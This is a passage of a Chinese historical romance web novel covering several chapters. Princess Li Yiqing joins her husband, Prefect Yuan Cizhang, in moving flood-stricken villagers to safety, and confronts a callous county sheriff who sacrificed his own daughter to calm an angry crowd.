於光公主承诺的名医，自然是御医，若是御医问诊，说不定，说不定自己的妻子就能有救。
以后阴雨天气，也能好受一些。
只可惜家中几亩薄田，估计换不来这个恩典。
赵子轩一瞬间脑海飞转，有些出神的想，或许等此间事了，他也可以舔着脸向於光公主求这个恩典。
收敛了纷繁的思绪，他转头看向一旁认真严肃的彦文卓，道：“彦郎君请随我来，我备着笔墨，再派些士兵跟在你身后。”
彦文卓道：“好说，好说。”
赵子轩又讲了几句，而后对着乌泱泱一片的难民道：“都先原地安置下来，稍后会再有人过来施粥。”
难民闻言，欣喜者有，埋怨者有。
“这也能叫粥，都淡出个鸟来了，这也能叫粥？”
“就是，你们吃的梗米好稻，让我们喝清水样的东西，我们不服。”
……
难民叽叽喳喳，大声交谈。
赵子轩忽然沉了脸色，大喝一声，“现在水患，谁能餐餐好米好菜，你们若是瞧不上这三瓜两枣，不来便是。”
这句话他说的极不客气。
官府是存了粮食，可是哪里够怀松县每个人都能吃的上白米白面。
难民被他的疾言厉色吓到，一时间低头喃喃，不敢说话。
赵子轩说完，顿了顿，放轻了声音，像是安抚，像是承诺：
“这是天灾，不是人祸，官府和诸位一样。等过了这阵子，都会好起来的。”
难民小声交头接耳，几个声大的道：“薄粥也是粥，不喝白不喝，我们可记住了。”
说完，总算安静了下来，没有再乌压压地聚在一处。
赵子轩安抚了诸多难民，看向李意清，恭敬问道：“殿下，是否要和我们同去怀松县衙？”
李意清朝他微微摇头。
“我要去章河渡，就不和你们同行了。”
赵子轩了然。
“如此，那就和殿下分道。对了殿下，你可会骑马？”
章河渡在怀松县的边缘，用脚算不得近。
这倒是意外之喜，她露出到现在为止的第一个笑容，“当然会。”
君子六艺，射为其三。骑术算得上精通。
赵子轩道：“正好，城防营有五匹马在此，殿下在此稍等片刻，我去牵一匹过来。”
李意清颔首，等惊喜劲儿过了，才有些踌躇道：“我牵走一匹，不碍事吧？”
赵子轩摇头，“殿下放心就好。”
李意清这才点头。
少顷，赵子
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轩牵着一匹高大的红棕色骏马而来。
骏马目光敏捷，身姿矫健，步履轻盈，毛色油光水亮，看起来养的极好。
李意清伸手接过马匹，安抚地摸了摸它的鬓毛。
骏马有灵，似乎察觉到李意清释放的善意，温顺地蹭了蹭她的指尖。
赵子轩不知道是在客套还是真心实意的夸赞：“这骏马瞧着和殿下有缘。”
不过不管是真是假，听着总是让人愉悦的。
李意清挑眉一笑，揭开袖上缠着的绑带，变戏法般将自己的长发高高束起，又将裤脚扎了起来，看起来干脆而利落。
她踩着脚踏翻身上马，手握着缰绳，双腿夹在马腹两侧。
骏马察觉到身上的人，轻微挪动几步。
李意清伸手拍了拍骏马的头以示安抚，而后朝着望呆了的赵子轩和彦文卓道：“下次再会。”
赵子轩快速回神，朝着李意清微微作揖。
彦文卓慢了一步，回过神后站在赵子轩的身后跟着施礼。
“愿殿下一路平安。”
*
清凉而潮湿的风吹拂过脸庞，路途泥泞，一路上颠簸感十分明显。
从前在太子皇兄的马场，不仅有上等的良驹，还有专人打扫马场，平整而宽坦。
李意清原先还有些不适应，但是随着眼前的视野越来越开阔，她渐渐得心应手。
骏马每一步都迅疾而精准，溅起的泥点落在裤脚上、脚踝上，微微有些凉意。
远处群山连绵，地面湿润，躲了半个月雨水的鸟雀从山林飞出，叽叽喳喳叫个不停，四处觅食。
李意清将马拴在树上，跳下来走到水潭边。
雨势迅猛，水潭中的水快要溢出，大大小小的豁口向着低矮的农田倒灌。
李意清愣了一瞬间，然后才弯下腰，伸手掬了一捧水。
简单洗了手和脚踝，她拿出彦文卓给的舆图，确认了章河渡的方向。
马趁着机会随意吃着路边沾着露水的野草，雨水丰沛，庄稼或烂根或淹死，可是杂草却不为雨水烦忧，依旧蓬勃茁壮。
吃到兴起，咴咴嘶嘶，叫唤起来。
李意清不禁浅笑出声，伸手在它结实的脖颈上拍了拍，像是和马说话一样。
“启程啦。”
解开缰绳，翻身上马。
短短半个时辰，骏马仿佛和李意清已经培养了默契，不需要李意清大声喊出口令，就已经撒开了蹄子，朝着山林狂奔而去。
风吹在脸上，飞舞地发丝风中摇摆缠绕。
路是朝着群山而去，却并不是真的爬上高山，绕过一个曲折蜿蜒的山路，隐约可见另一方如桃花源的地界。
李意清将这一方天地尽收眼底：前后两座山将通往章河渡的山路掩盖，若不是细心发现，远远看去，真不像个有村子的地方。
进入章河渡，一条宽阔的河流映入眼帘，旁边数十户人家，朝后看去，不少房屋星星点点散落各处，有建在斜坡上的土房，有搭在水面上的木屋……各式各样。
大河顺着山势蜿蜒曲折，沿河两岸，是悉心种植的田地，绿竹杨树，桑树鸡鸣。
而现在，章河渡的人都聚集在河谷两岸，密密麻麻一片，像是商量着要事。
看着近，隔得远。李意清看着人群，心跳忽然就加快了起来——
元辞章就在其中。
153. 相拥
章河渡的老叔公最先发现李意清的身影。
他拄着拐杖的手颤颤巍巍，抬起干枯的手臂，遥遥指着骑在马上飞奔而来的李意清。
元辞章顺着他指的方向望过去。
只一眼，就不想再移开。
李意清朝元辞章露出一抹灿烂的笑，长长呼出一声“驭”。
骏马停下，李意清翻身下马，牵着马走到他的身边。
“知州大人，这位是？”
不明所以的众人纷纷询问。
元辞章目光温和地落在李意清的身上，数日不见，他的目光是自己都没能察觉到的温柔与缱绻。
李意清站在元辞章的身边，此行她没打算掩藏自己的身份，朝众人莞尔一笑。
“吾名李意清，元知州的妻子，家父顺成帝。”
家父顺成帝。
等等，家父顺成帝？？
众人愣了一瞬间，立刻掀起惊涛骇浪，不敢置信地看向李意清。
这么说，她不就是於光公主。
为首的几个官员浸淫官场多年，早就混成了人精，回过神后，立刻朝着李意清拱手行礼。
“殿下安好。”
一时间，“殿下安好”之声此起彼伏。
章河渡的众人也不伦不类地朝她问好。
李意清摆了摆手，微微偏头询问元辞章：“现在是？”
元辞章清冷的目光沾染了烟火气。
他伸手牵起李意清的手，紧紧扣在手中，“没什么，都处理妥当。”
而后对着随行官员和章河渡村民道：“既然已经决定搬走，你们先各自回屋收拾自己的东西，等午时三刻，启程离开。”
闻言，章河渡的众人都有些怅然地看着山谷。
心中的不舍和理性在脑海中争斗，他们垂着脑袋，闷声应是。
说完，四散而去。
老叔公拄着拐杖走得极慢，他走走停停，抬头手掌轻轻拂过一棵老树。
今年雨势太大，这棵生长了三十多年的老树没能挺过去，原先繁茂的树冠出现了一片枯黄。
他叹息着，有人主动提出扶他回去，可却被他摇头拒绝。他独自拄着拐杖，慢慢地，越走越远。
李意清望着他的背影，忽然就体会到了他身上弥漫着的一股浓重到说不出的悲怅。
她有些茫然地抬头去看元辞章。
元辞章握紧了她的手，微微俯身在她耳边道：“回去与你细说。”
剩下的官员眼观鼻鼻观心，丝毫不敢抬头。
有人受不了这个气氛，主动上前一步拱手道：“於光公主，知州大人，下官也先去收拾一番。”
“下官也是。”
几人纷纷朝着两人致意，生怕因为自己的存在打扰两人叙话的兴致。
没一会儿，散了个干净。
没有人在场，元辞章忽然用额头轻轻抵靠着李意清的肩膀，声音沙哑疲惫，随着呼出的热气轻轻钻进李意清的耳中。
“借我靠一下。”
李意清被元辞章突如其来的举动打乱了节奏，她本想将带来的馅饼和水囊先递出去，听到元辞章的声音，默默将这件事情后移，抬起手微微犹豫，落在他的肩头三寸。
元辞章像是背后长了眼睛一般，主动伸手环抱住李意清。
他身量高挑，将人拢在怀中，怀中被捂得严严实实。
鼻尖，满是青竹气息。
李意清感受着温热的掌心落在自己的背脊和腰间，抬起的掌心落下，轻轻拍着元辞章的肩膀。
或许是一瞬间，又或许是一刻钟，两人在河边、山谷间、老树下静静相拥，仿佛天长地久。
元辞章贪婪地汲取着李意清的气息，像是沙漠中的旅人遇到了甘霖。
半响后，才松开李意清。
他的动作和往常并无什么不同，可是李意清敏锐地察觉到了一种“依依不舍”的情绪。
李意清竭力维持着自己淡然的表情，刻意忽视落在自己身上的视线。
平稳呼吸后，她轻轻踮起脚尖，一只手环在元辞章的脖颈，另一只手抬起，抚平他疲惫的眉目。
“我带了馅饼，尧臣亲手做的，还有清水，要不要用一些？”
李意清放软了自己的声音，带着诱哄。
“好。”
“然后你睡一会儿，午时三刻启程，我午时一刻喊你。”
“好。”
李意清停下脚步，定定地看着元辞章。
这一幕似曾相识，可是她已经想不起什么时候见过。
元辞章跟着她的脚步停下，“怎么了？”
“没什么，”李意清摇了摇头，主动握紧元辞章的手，“走哪边？”
*
两人回到了村中的小舍。
元尧臣的手艺好，即便半天过去，馅饼也没有变得软烂，依旧蓬松酥脆，一口下去满口生香。
李意清明明已经用过早饭，可是看见元辞章将第一块递给自己，还是伸手接过。
这一路过来，她确实也累了。
累了容易饿，她坐在元辞章的床边，安静地吃着饼。
一个接着一个，直到第三个的时候，李意清才发现元辞章还一口没吃，正半蹲着仰头，眉眼带着清浅的笑意。
李意清愣了一瞬，连忙伸手捂住自己鼓起的腮帮子。
像是一个吃东西被发现的小松鼠。
等口中的饼咽下，她才轻声道：“你看着我做什么？”
元辞章保持着原先的姿势，正欲开口，忽然听到李意清的话。
“不不不，你还是别说了。”
她伸手捂住了自己的耳朵。
元辞章现在坏得很，讲话要多直白有多直白，要是听到什么不该听到的，那可就不好了。
一声极低的轻笑清晰地传入了李意清的耳中。
元辞章伸手拿起李意清的左手，靠在自己的脸颊边。
指尖贴着柔软的唇一触即分。
李意清心跳几乎停止了，她低头，看着元辞章视若珍宝地将她的手拢在掌心。
“好，不说了。”
李意清：“……”
她在心中暗自腹诽，这样的动作，还不如直接开口说呢。
李意清实在害怕元辞章的口中又说出什么话，或者做出什么他意想不到的动作，连忙伸手拿起一张饼递到元辞章的手中。
“元尧臣的一番心意，不要浪费。”
等元辞章将两个饼吃掉，李意清一边将水囊递给他，一边道：“汪青野和彦文卓来找你了。”
元辞章挑了挑眉。
“青野重策，文卓务实，他们主动请缨过来，我并不意外。”
说完，他饮了两口水，有水珠顺着他的喉结滑
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落，晶莹剔透。
然后才放下水囊，问道：“现在他们人呢？”
李意清：“我让他们去办事了。”
她简要讲述了方才发生的事情。
元辞章了然点头，微顿，轻声道：“辛苦了。”
“怎么会。”李意清有些心疼地看着元辞章的眉眼，“你快躺下休息片刻，到了时辰我叫你。”
元辞章确实很久没有睡过一个好觉了，闻言，点了点头，和衣躺在床上。
李意清坐在床边，没一会儿，就看见元辞章呼吸平稳，陷入了睡眠。
看来真的是困了。
李意清等了片刻，站起身，伸手打开了紧闭的窗户。
湿润的风吹窗外吹进来，吹走室内的燥热。
有事出门的许三回来的时候，以为房中只有元辞章一人，想也不想推开门走了进来。
李意清听到响动，朝着许三比了一个“嘘”。
许三看到李意清还愣了一瞬，不过很快就反应了过来，安静地走到她的身边。
“殿下。”
李意清微微颔首，视线不经意地扫过他手中的簿子。
许三献宝一样将簿子递了上去，谨慎地看了一眼睡眠的元辞章，压低了声音道：“这是公子让我整理的河流和田亩图册，公子说一时可以避祸，但是明年依旧会雨势汹汹，不如疏浚河道，开渠放源，兴建水木……我也没听得太懂，殿下您自己看看这张图就明白了。”
李意清伸手接过许三手中的簿子，翻看了几页，就明白了元辞章的打算。
大庆官员一地任期三年，故而上位官员大多倾向于做了就能立竿见影的实事，而不是这样长线的工程，硕果留于后人采撷。
许三看着李意清低垂的眼眸，心底漫上一股紧张，“怎么了？可是有什么不妥？”
李意清摇了摇头，声音轻柔：“没有，你做的很好。”
许三受到夸赞，有些害羞地挠了挠头。
李意清看着元辞章题写在最前页的字，比起三年前书房中的偶然一瞥，现在的应对策略更加详实完整，也有了实地考察出来的细节，两相合宜，即便日后元辞章被派遣到他地，舒州的下一任官员只需要按着他写好的方法一步步走下去，就不会出大错。
一瞬间，她心底感慨万千。
许三跟在元辞章身边陪读的时候并不认真，很多时候元辞章的吩咐他总是一知半解，不过好在，即便听不懂，他也会一一照做。
公子见识和学问都是顶好的，跟着他说的做，总归是出不了错的。
许三一直贯彻自己信任公子的信条，本想借机再夸赞自家公子几句，却忽然看到李意清微微垂下了眼眸。
她的嘴角微微弯起，像是绚烂的晚霞，可是低垂的眼眸，却又透露出了几分落寞。
许三无比清晰的感知到：李意清身上透露出淡淡的难过。
他一下子慌了，要是元辞章醒来看见难过的李意清，估计要冷脸对他一个月不止。
“殿下，殿下。”许三急得团团转，他藏在袖子中的手抓紧自己的掌心，脑海飞快转动，灵光一现，他出声道，“殿下，你想不想知道公子是怎么说服章河渡众人暂且出门避祸的？原先章河渡众人都不愿意离开故土，后来发生了两件事情……”
许三讲得很快，生怕说慢了一秒钟，李意清的眼泪就会落下。
154. 心底的重量
李意清抬头看向了许三。
许三见李意清被吸引了注意力，心底长长地松了一口气，立刻讲述起这两日的经过。
“原先章河渡的众人不愿意搬离故土，可是年轻一代知道山谷之间，遇到像今年这般的暴雨，原先就破旧老损的房屋是经受不住的，主动来找公子商量对策。”许三回忆了几天前发生的一幕，低声道，“公子说，‘我们劝只是辅助，尔身为子孙，更应发力’。公子说完，几人如有所悟，当天夜里，祠堂就塌了一角。”
许三意有所指，李意清很轻松地听出这两者的关系。
“是章河渡几个年轻小辈做的？”
许三顾及元辞章睡着，不敢公然鼓掌，只能重重点头。
“正是如此。公子听说了此事，带着随行的官员前去章河渡的章家祠堂帮忙。”许三道，“好在祠堂受灾不重，大概一个时辰后，将破损的瓦片和歪掉的灵位扶正，就不剩什么了。”
“那几个章河渡的小辈趁此机会向叔公进言，房屋失修，现在是祠堂，日后或许就是家中，况且祠堂受损，说不定正是祖宗在天有灵，催促我们尽快搬离。”
李意清唔了一声。
“谁知道章家叔公人老心清，抬起拐杖在为首的三个小辈头上一人敲了一下，吹胡子瞪眼道，‘你别以为我不知道是你们几个搞的鬼’。几个小辈被识破后，面面相觑，无话可说。章家叔公重重地拐杖砸地，声音沉稳有力，‘祖宗之地，不可轻易离开’。”
许三学着章家叔公的强调说话。
李意清有些意外地看着他：“那现在？”
如果她今日过来没有看错，章家众人都在准备收拾东西准备搬离章河渡。
许三收敛了几分脸上的笑意，正了正神色道：“后来，也就是昨天晚上……章河渡东边的山谷滑坡，掉下碎石，砸到了小虎的小腿。”顿了顿，他又想起来李意清对章河渡众人都不了解，立刻补充：“小虎，正是为首的那三个年轻小辈之一。”
李意清几乎是立刻问道：“伤的可重？”
“尚好，已经找了草药包起来，等进了怀松县或者舒州府，找大夫看过，应当不影响走路。”
李意清这才放下心。
许三道：“章河渡小，小虎受伤的消息几乎是一晚上就传了个遍，第二天一早，我记得大概是寅时立刻左右，章家叔公和几个胡子花白的长辈携手，颤颤巍巍拄着拐杖走到公子落脚的小店，询问现在是否还能去舒州府落脚。”
寅时立刻，看样子那几位长辈一夜未眠。
晚辈觉得长辈重视祠堂，若是祠堂受损，说不定就能离开此地，离开不安全的老屋。
可是在长辈的心中，晚辈才是重中之重。
许三道：“章家叔公说，‘我们几个老骨头死在这里不算什么，可是小虎小狼不一样，他们还年轻，可不能跟着我们被一道困在这山坳坳里。”
原话还有后半句：恐怕哪天死了，都不会有人发现。
许三没有说出这后半句。
李意清闻言，忽然眼眶有些湿润。
许三心道坏了，明明是想将一个结果还不错的故事哄李意清开心，怎么反而叫人湿润了眼眶。
这下公子醒来，他能有什么好果子吃。
“殿下，殿下你别难过啊。现在好了，舒州府虽然不算大，但是提供暂时的居所供他们休憩不成问题。等雨季过去，年轻人回来重建，要不了多久，这边依旧热闹的得。”
李意清看许三着急忙慌脑门有汗的模样，不禁笑了，一边笑一边用手轻轻拭着眼角，“我没事。”
我只是，有点感动。
许三这才松了一口气，准备在房中踱步舒缓自己的心情，刚一回头，忽然看见元辞章不知道什么时候已经醒了。
他大脑宕机了一瞬，才低声唤：“公子。”
元辞章可有可无地点头，视线落在他身后的李意清身上。
许三察觉到越过自己的视线，连忙向旁边移开几步，生怕自己碍着元辞章的眼。
李意清不愿意元辞章看见自己这副模样，偏过头眨了眨眼睛，确认自己没有鼻酸的感觉后，才转头看向他，“怎么这么快就醒了，现在才巳时半。”
元辞章：“许三太吵。”
许三：“？”
他有些迷茫地指了指自己，对上元辞章的视线，老实地认命。
是的，他吵。
李意清都有些看不过去，将许三辛辛苦苦整理的簿子塞到元辞章的怀中，“诺，这是许三整理的。”
元辞章伸手结果，干净修长的指节一张张翻过去。
他看得很快，却丝毫不见敷衍的态度，一字一句都极为认真。
时不时指节曲起轻叩书页，似乎若有所思。
许三双手交叠，像是被夫子抽背的学生，等着审判。
半响后，元辞章点了点头，“很不错。”
除了李意清，元辞章口中的评语大多是“尚可”，能听到“很不错”的评价，足够让许三飘飘然一阵子。
他被喜悦冲昏了头脑，挠着头嘿嘿直笑。
元辞章将簿子收好，估算了时辰，重新整理衣冠。
“差不多了，出去看看吧。”
三人出去后，场上已经聚了不少人。
几个官员也趁此时间小睡一阵，此刻人虽然站在这里，但是哈欠连天。
元辞章一个眼神扫过去，原先打着哈欠的几人立刻正襟危站，不再动弹。
李意清看得稀奇，她现在倒是很好奇元辞章在这些官员心目中是个怎么样的形象了。
其中有人主动凑到元辞章的身边，朝李意清微微俯身示意后，说起了正事。
“章河渡众人已经准备妥当，除了小虎受伤，和村中一些老人，其余青壮年皆要求留在怀松县。”
元辞章微微颔首。
他们心急，只等雨停就重建自己的家园，能同意搬走，已经是让步，再多的，他也不会强求。
而老人和小虎，在府城休养，也免了他们的后顾之忧。
双方没有异议，一行人开始慢慢迁徙。
久违的阳光挤开层层云朵，重新光芒照耀大地。
章河渡的众人落在最后，时不时眷恋地回头看一眼，身边人小声道：“又不是不回来了，怕什么。”
几个人互相鼓气打劲。
骑来的骏马由元辞章代劳牵着，李意清步履轻松地走在他的身边。
期间经过李意清来时遇到的水潭，众人停下歇脚，元辞章伸手擦去李意清额角的汗水，轻声问道：“要不要坐在马上？”
李意清摇头，而后猛地一拍大
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腿，语气有些懊恼：“你不说我都忘了，小虎有腿伤，章家叔公年纪大，他们或许用得上。”
她说完，立刻走到了人群后面询问。
章家叔公气喘吁吁，小虎不熟练地用一根木棍当着拐杖艰难前移，听到李意清的询问，不约而同道：“我用不上。”
章家叔公道：“别看我年纪一把，精神好着呢，年轻的时候走上几十里路也绝不喊累。”
小虎道：“叔公年纪大了，我腿伤不要紧，你们照顾好他就是。”
两人推辞起来。
章家叔公说的脸色发红，语速变快，“我倒底还是你长辈，长辈说的话，该怎么做？”
小虎倔强道：“一码归一码，等您老到了舒州府，我再安心听你的。”
章家叔公指着小虎的侧脸，手指颤颤巍巍，口中骂道：“不听话！我这一把年纪，这样走走尚可，要是真上了马，这把骨头还能不被颠散？”
旁边也有长辈道：“是啊，小虎，叔公走走不要紧，可是你的腿不能受劲，以后还想不想好了。”
小虎微微犹豫，最后在几个同龄人的搀扶下坐在了马上。
章家叔公露出一抹真心实意的笑：“哎，哎，这就对了嘛。”
小虎脸色红彤彤一片，别人笑着打趣他，他将头转到另外一边。
李意清担心是自己站在这里让他感觉到不自在，朝章河渡的众人笑了笑，转身走到前面。
元辞章正在与人商议后半路怎么走，李意清主动避开，走到水潭边看着水中的云。
下雨将原先深埋在土里的泥沙冲出来，故而大多数时候，潭水浑浊，呈现出一抹黄色。
而水潭中的水和往日遇到的不同，或许是这两日的风平浪静，水潭中的水已然沉淀了下去，一阵风吹，波光粼粼。
清晰的可以看见久违的蓝天白云。
休整完毕，众人重新踏上路途。
章河渡在怀松县的边缘，且要照顾老人的步子，一行人走得很慢。
临近黄昏，众人才到怀松县的门口。
怀松县已经开仓放粮，有管事拿着量斗，按照每家每户人口几何分着陈米。
随行官员还不知道发生了什么，见到这一幕大惊失色，像是天塌了一般。
“这是县里的存粮，怎地就这样放开了？给这些百姓吃了，我们吃什么？”
元辞章淡淡一眼扫过去，官员终于恢复几分理智，安静站在后面。
怀松县县令下马，出来迎接李意清和元辞章的，是怀松县的县尉。
怀松县县尉看着年纪不大，大抵三十几岁，一身绿色官袍，看着清瘦得很。
他快步走到两人的身边，高高的颧骨下面挤出一抹笑，“殿下，知州大人，一路辛苦。县衙备了饭食供诸位接风洗尘，诸位同僚，请随我来。”
他一边说话，一边在前面带路。
李意清在县尉的身边，看见回避自己视线的赵子轩。
元辞章抬眸顺着李意清凝视的方向望去，状似不经意问道：“怎么了？”
李意清忽然想到了今日遇到的女孩，心中忽然一阵不舒服。
可是元辞章他们还有公务在身，不能因为自己一些不舒服的情绪而误了正事。
她朝着元辞章安抚的笑：“无妨，来时见过那人罢了。”
155. 怀松县衙
几人随着怀松县的县尉一道来了县衙。
县衙中，已经在院中摆上两桌饭菜。因着水患原因，桌上的菜色并不出彩，只有简单的两荤两素一汤。
菜色不多，但胜在量大。
这对于外出奔波多日的众官而言，已经是不可多得的美味。
怀松县县尉热情地招呼众人坐下，随后添了米饭，开始吃饭。
期间，怀松县县尉特意走到李意清的身边，替她斟茶道：“不知道殿下亲临，故而没能准备妥当，还请殿下见谅。”
他这句话说的就有些过于吹捧了。
菜分两桌，可是无论是李意清和元辞章所坐的这边，还是另一边，尽管已经饥肠辘辘，却还是等她先动筷。
她不动筷，谁也不敢乱了规矩。
李意清静静垂眸，伸手给自己盛了一碗汤，又搛了少许菜放入自己面前的碟子中，对众人道：“不必拘束。”
怀松县县尉见李意清不理会自己的话，也不恼，只是摸了摸鼻尖，继续殷勤地走到元辞章的身边斟茶寒暄。
众人见李意清动筷，才纷纷活跃起来。
李意清有先见之明夹了一碟菜，此刻不争不抢也能吃饱，旁观另一边的元辞章，手速抢不过饿极了的众人，只安安静静吃着面前的饭。
不过元辞章并不在意这些，无论面前摆放的是山珍海味，还是普普通通的陈米白饭，都一个神色，不见喜悦，也不见忧愁。
李意清喝了一口汤，在心中感慨道这估计就是周太傅说的“不以物喜不以己悲”了吧。
饭后，天色已经黑沉。
章河渡的众人有些拘谨，不过随着黑夜降临，都纷纷放下了心中的警惕。
青壮年留在怀松县，老人去舒州暂居，这是一开始就安排好的，可是到了怀松县，原先本可以落脚的人又改变了主意。
还是将老人亲自送过去，才能放心。
此刻，章河渡的几人和随行的几个官员坐在县衙门口桂花树的台阶边仰头望着夜空。
“这里的夜不行，还得是章河渡，一抬头，满天的星星。”章河渡的人双手放松地撑在身后，嘴里念叨着。
“得了吧，章河渡离这里才多远，就能有两个夜了吗？”官员笑骂着推攘了他一把，“你就是舍不得你那山坳坳。”
章河渡的众人都笑了出来。
“我小的时候，走到河边坐着，那满天的星星多漂亮啊，天上一条，河里一条，身边是各种蛙叫声，别提多舒服了。”
“是啊，随手摘一片叶子就能吹。”
几人叽叽喳喳的说着章河渡的诸多好处，官员几人也不服气，“你们说的这些我们也有，只是不在山谷罢了。”
“怀松县有怀松县的好，到了晚间时候，有卖莲花灯的，还有卖酱鸡子的，草编的蚂蚱，竹编的小篓，各式各样，也有趣的很，饭后喊上三两小童一道走街串巷，不必章河渡逊色。”
两边人夸赞着自己出生长大的地方。
李意清路过廊边桂花树，听到的就是这些。
房屋潮湿，里面熏了草木灰除湿。正堂元辞章正在里面议事，李意清怕打扰到他们，主动选择了前去偏厅等候。
偏厅很小，只点着一盏烛火。
窗外的夜色清透，月凉如水，使得偏厅没那么阴暗。
李意清坐了一会儿，忽然从门外走进来一个意想不到的人。
怀松县县尉站在门口朝着李意清微微俯身，然后才慢慢踱步走了进来，也不敢坐下，站着问道：“殿下怎么坐在这边？”
李意清抬头看了他一眼，没有说话。
怀松县县尉自顾自地端起桌上的茶壶，发现是空的后，有些讪讪地放下。
“殿下看着像是不太像搭理下官，是下官做错了什么事吗？”
李意清闻言反问：“本殿需要搭理你吗？”
她刻意加重了“本殿”二字。
怀松县县尉愣在了原地，不过他脸上丝毫不见不愉，依旧笑眯眯的。
“怎么会，你是公主殿下，下官怎么敢指责殿下。只是下官着实愚钝，实在不知道公主殿下为何事责怪。”怀松县县尉依旧一脸谦逊的笑意，语气不紧不慢道，“若是殿下能为下官解惑，也好让下官引以为戒，不再犯错。”
李意清抿唇，转头去看窗外的月色。
“其实殿下不说我也知道，”怀松县县尉忽然笑了出声，认真道，“无非殿下觉得我过于残忍，将自己的女儿亲手推出去给民众泄愤。”
百姓的愤怒需要一个突破口，不能责怪官员办事不力，就给他们一个位高权重者肆意欺凌，消解怨气。
这就是赵子轩口中，县尉“不是办法的办法”。
李意清：“自己做不好事，让女儿受屈辱，当真可笑。”
县尉煞有其事的点点头：“是啊，舍弃她一个人，换一场安宁，怀松县的百姓都会感激下官的。”
李意清忽然有些反胃。
他继续道：“殿下有所不知，下官好歹真的是拿自己的女儿……之前的怀松县县令，可是直接强抢民女，安排两个丫鬟，就伪装成千娇百宠的县令小姐，给人活生生的糟蹋。”
李意清：“……”
“这样说，殿下会不会觉得下官可真是舍小家，为大家？”
李意清用手虚虚地掩着唇，闭了闭眼睛。
怀松县县尉道：“殿下出手救了小女，下官还没有和殿下道谢。殿下放心，小女回来以后，我已经好生安抚，现在已经无碍。”
李意清抬眸审视着他。
怀松县县尉亲手给女儿罗织一个地狱，而后装成慈父模样，温声安抚。
他坦坦荡荡地直面李意清的目光，嘴角噙着一抹耐人寻味的笑。
理直气壮，不知反思。
门外，忽然传来轻轻的叩门声。
“父亲。父亲你在吗？”
门外女孩的声音轻轻软软。
怀松县县尉露出一抹“我就知道”的笑，而后道：“好瑶儿，进来吧。”
虚虚掩盖的门被人从外面推开，今日早上才见到的女孩已经换了一身衣裳，梳洗整齐，端着茶盏出现在面前。
女孩约莫十三四岁，正是豆蔻年华，不施粉黛依旧清丽出尘。
她的身后，站着赵子轩。
女孩看见李意清的身影，几乎是立刻就反应过来，惊喜地看着李意清。
怀松县县尉看出了女孩的急迫，出声道：“瑶儿，不可无礼。快来拜见公主殿下。”
女孩顾及着礼数，收敛了几分脸上的喜悦，朝着李意清俯身行礼。
“民女崔瑶，拜见公主殿下。”
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>李意清抬手轻轻扶起她，接触的一瞬间，她手腕上挣扎受的伤还是露了出来。
那截手腕更是瘦弱得可怜。
李意清道：“不必多礼，现在还好吗？”
“还好，当时的场景骇到我……民女了，后来父亲母亲陪伴着我，教民女好受多了。”
“是吗？”李意清微微笑着，没有拆穿怀松县县尉的慈父面具，“你安全就好了。”
崔瑶乖顺地点了点头，而后又朝着李意清盈盈下拜，“今日之事，还要多谢殿下解救，否则……否则。”
李意清轻轻拍着她的肩膀。
怀松县县尉站在烛火的阴影中，脸庞被光线分成两半，一半在光里嘴角噙笑，看起来和气极了，另一半藏匿于阴影，神色看不分明。
隔壁的元辞章说完了事，准备在偏厅接李意清一道离开，忽然发现小小的偏厅挤满了人，于是乎站在门口，静静等候。
李意清看到元辞章的背影，轻声道：“夜深了，今日之事不必多想，好生休息。”
崔瑶重重点头，全然一副深信不疑的模样。
“殿下放心，民女明白的。”
稚嫩的面容上笑靥如花。
李意清“嗯”了一声，笑着抬手摸了摸她毛茸茸的脑袋。
她走到元辞章的身边，两人简单交谈几句，携手一道离开。
李意清离开后，怀松县县尉和颜悦色对崔瑶道：“瑶儿，你先回去，父亲和子轩有话要说。”
崔瑶懂事地点了点头，端起桌上的茶盏，福礼后转身退出偏厅。
怀松县县尉冷哼一声。
赵子轩还在怀松县县尉的手底下做事，因此并不敢直接对上他。
“你倒是好本事，越过本官直接跟公主攀交情，看样子是想拿本官当垫脚石，踩着一步一步往上爬啊。”
怀松县县尉发出一声冷笑。
赵子轩垂着眼，“下官不敢，只是当时情况紧急，民意汹涌，下官只希望能稳住局势。下官是靠着大人的提携才走到今天这一步，怎么会有二心……请大人明鉴。”
老匹夫，官职不大，官威不小。
赵子轩忍着鸡皮疙瘩说完，在心中暗自腹诽。
今日知道李意清身份之后，他确实存了不可告人的心思告了县尉一状，名义上打着为县尉好的旗号，实则巴不得能把他拉下马。
也不知道他进来之前县尉和於光公主在说什么，晚间时候他明明刻意观察了，公主殿下对县尉的态度不能说是不理不睬，至少也是冷淡至极。
怀松县县尉眯起眼睛打量着他，见他一如既往谨小慎微的模样，敲打道：“子轩啊，你是个聪明人。你发妻生产后身子不好，一直都靠上好的参片养着，若是没了我这边的进项，一个搞不好，就是天妒红颜的下场。”
妻子是赵子轩的软肋。
赵子轩不可避免的颤了颤。
怀松县县尉这才满意，对于手底下这些人，与其说以能力服之，他还是更喜欢这种手握把柄的感觉。
“这就对了嘛，子轩。”怀松县县尉放轻了声音，像是蛊惑，“虽说天妒红颜，可你也不希望这样的惨事发生在自己身上。现在怀松啊，是泥菩萨过江自身难保，咱们只管自扫门前雪，哪能救得了那么多人。说到底，还是人各有命，有些人的命啊，就是贱。”
156. 盛将军
回到房中后，李意清还是显得有些低气压。
元辞章敏锐，联想到今日李意清的几处异样，很快就将目标锁定在了怀松县县尉身上。
他拉着李意清在自己的身边坐下，轻声询问道：“崔县尉做了什么事情，惹得你不快？”
李意清沉默了一会儿，将自己心目中的疑惑尽数吐露出。
“……所以说，”元辞章很快发现了李意清真正郁结的所在，“你是对自己产生了怀疑吗？”
李意清矢口否认：“当然不。只是怀松县尉的神色太过于理直气壮……”
元辞章蹲下来，双手搭在床边，将坐在床榻上的李意清虚虚环住。
“殿下。”
李意清：“嗯？”
“殿下当然没有错，崔县尉慷自己女儿之慨，掩盖自己办事能力不足之过，本就是自己在位期间失职。”元辞章语气笃定，“只是崔县尉太过狡猾，让殿下在众多人与一人之间做选择……可是性命的珍贵，本就不是比较产生的。”
李意清垂眸看着元辞章温和的眼眸。
“怀松县的事情，本就不是绝境，崔县尉只是为了自己的私心，选择了最简单粗暴的方式。”
看似舍己为人，实则背后都是算计。
元辞章说的简单直白。
李意清再听不懂就是傻了。
“你说的对。我自己陷入了迷雾。”李意清终于释怀，“那时候，我甚至比较我是战场的将军，是救一人还是救一城……我会下意识的想，如果有朝一日我成为那不确定的一人，我……”
元辞章忽然起身，轻轻吻在了李意清的唇角。
封住了她后半段想要说来的话。
李意清怔了一下，才颤抖着睫毛，慢慢闭上了眼睛。
